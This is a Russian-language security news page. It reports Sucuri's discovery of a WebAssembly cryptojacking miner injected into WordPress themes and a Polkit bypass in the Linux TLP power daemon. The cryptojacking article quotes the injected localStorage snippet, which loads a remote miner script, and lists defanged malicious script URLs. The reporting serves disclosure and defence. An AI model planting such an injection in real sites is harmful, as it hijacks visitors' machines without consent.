Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Эксперты Sucuri обнаружили необычный JavaScript-майнер, загружаемый на страницы при посещении взломанного сайта. Злоумышленники используют технологию WebAssembly, чтобы ускорить исполнение сценария и осложнить выявление вредоносных инъекций.

Бинарный формат WebAssembly (.wasm), позволяющий выполнять высокопроизводительные приложения на веб-страницах со скоростью, близкой к нативной, в настоящее время поддерживают более 95% установленных браузеров, в том числе Google Chrome, Microsoft Edge, Safari, Firefox и Opera. Код Wasm загружается и запускается из JavaScript и может работать в параллель в той же песочнице, обмениваясь данными с кодом JavaScript.

В Sucuri узнали о нововведении криптоджекеров, когда новый клиент запросил помощи— его компьютер начал сильно тормозить при подключении к персональному сайту WordPress. Беглый просмотр файлов на сайте выявил небольшой фрагмент кода, вставленный в один из файлов темы:

localStorage.setItem('f', 'auto.config({ login: "6110659", pass: "auto" }).power(10);');localStorage.setItem('s', 'hxxps://wm[.]bmwebm[.]org/auto.js');

Каждый раз, когда посетитель заходит на веб-страницу, этот сниппет загружает на стороне клиента скрипт auto.js из домена wm[.]bmwebm[.]org. Содержимое JavaScript-файла оказалось обфусцированным с помощью CharCode; декодирование показало, что это криптомайнер, стартующий при каждом визите на сайт.

Вшитые учетные данные, по всей видимости, используются для доступа к кастомному пулу в том же домене. Особый интерес у исследователей вызвала такая находка, как использование WebAssembly для запуска бинарного кода в среде браузера.

 

Расшифрованный auto.js также содержал инструкции для операций майнинга, которые исполняются в браузере вместе с JavaScript.

Позднее тот же самый криптомайнер был обнаружен на другом взломанном сайте, но уже под именем adservicegoogle.js. Он загружался из того же домена и пытался выдать себя за легитимный скрипт Google Ads.

Домен hxxps://wm[.]bmwebm[.]org/ был зарегистрирован в январе 2021 года, то есть полтора года криптоджекерам удавалось остаться незамеченными. В настоящее время (на 26 июля) их майнер работает на 195 сайтах, в том числе в TLD-зоне RU; по всей видимости, скромный масштаб киберкампании тоже помог злоумышленникам оставаться в тени.

Примечательно, что отдаваемые вредоносные JavaScript-файлы генерируются автоматически — злоумышленники просто меняют имя, добавляемое к домену:

  • hxxps://wm[.]bmwebm[.]org/wordpresscore.js
  • hxxps://wm[.]bmwebm[.]org/common.js
  • hxxps://wm[.]bmwebm[.]org/facebook-sdk.js
  • hxxps://wm[.]bmwebm[.]org/twitter.js
  • hxxps://wm[.]bmwebm[.]org/node.js

Реализованная функциональность также позволяет внедрять скрипты в разные места на зараженном сайте и поддерживать видимость легитимности инъекций.

Эксперты ожидают расширения использования WebAssembly киберкриминалом, несмотря на очевидное ограничение — зависимость от JavaScript. Код Wasm не способен самостоятельно собирать данные, подключаться к интернету и сливать награбленное на сторону. В составе веб-скимера, например, такой компонент может диктовать JavaScript, на каких веб-формах сосредоточиться, какой домен использовать для вывода данных и т. п. 

Использование Wasm, по словам Sucuri, способно затруднить выявление злонамеренных редиректоров, вредоносной рекламы, ложной техподдержки, скриптовых кейлоггеров, скрытых загрузок (drive-by) и других неблаговидных способов использования браузера. В тех случаях, когда браузер содержит уязвимость 0-day, оперирующий Wasm злоумышленник может причинить еще больше вреда — путем использования бинарного кода для эксплойта, и такую функциональность вряд ли обнаружит антивирусный сканер, заточенный под строковый анализ.

На сайтах подобные заражения тоже трудно выявить, если не с чем сравнить (нет бэкапа). Там, где Wasm уже используется в повседневных операциях, задача еще больше усложняется. Предотвратить инфицирование, по мнению экспертов, помогут следующие меры:

  • поддержка всего софта (CMS, плагинов, тем) в актуальном состоянии;
  • усиление защиты сайта и админ-панелей от брутфорса и словарных атак;
  • создание бэкапа и регулярное копирование контента и базы данных, с сохранением резервных копий вне сайта;
  • регулярные проверки целостности содержимого файлов на сайте;
  • использование средств фильтрации трафика прикладного уровня (WAF).

Критическая уязвимость в TLP позволяет обойти защиту Linux

В популярной утилите TLP, которую многие владельцы ноутбуков на Linux используют для управления энергопотреблением, обнаружили критическую уязвимость. Причём проблема нашлась во время обычной проверки пакета командой SUSE Security Team и располагается во вполне штатном коде.

Брешь получила идентификатор CVE-2025-67859 и затрагивает версию TLP 1.9.0, где появился новый profiles daemon.

Этот демон работает с root-правами и управляет профилями питания через D-Bus. Задумка хорошая, но реализация подвела: в механизме аутентификации Polkit нашлась логическая ошибка, которая фактически позволяет обойти проверку прав.

Как объясняют исследователи, демон должен был строго проверять, кто именно отправляет команды. Но из-за ошибки любой локальный пользователь мог взаимодействовать с ним без должной аутентификации — а значит, менять системные настройки питания от имени root.

На этом сюрпризы не закончились. В ходе анализа специалисты SUSE нашли ещё несколько проблем, уже связанных с исчерпанием ресурсов. В частности, механизм profile hold, который позволяет временно «зафиксировать» профиль питания, оказался совершенно без валидации. Локальный пользователь мог создавать неограниченное количество таких блокировок, причём без прав администратора.

В итоге это открывает прямую дорогу к DoS-атаке: демон начинает захлёбываться от бесконечных записей в структуре данных, куда попадают числа, строки с причиной и идентификаторы приложений — всё это полностью контролируется клиентом.

Любопытно, что SUSE вспомнила похожую историю с демоном управления питанием в GNOME: аналогичную проблему находили ещё несколько лет назад. Отдельно исследователи отметили вопросы к механизму «куки», которыми отслеживаются profile hold. Формально речь шла о предсказуемости значений, но в сочетании с отсутствием лимитов это лишь расширяло поверхность атаки.

К счастью, реакция была быстрой. SUSE сообщила об уязвимостях разработчикам ещё в декабре, и в версии TLP 1.9.1 проблема уже закрыта. В частности, число одновременных profile hold теперь жёстко ограничено числом 16, что убирает риск истощения ресурсов.

RSS: Новости на портале Anti-Malware.ru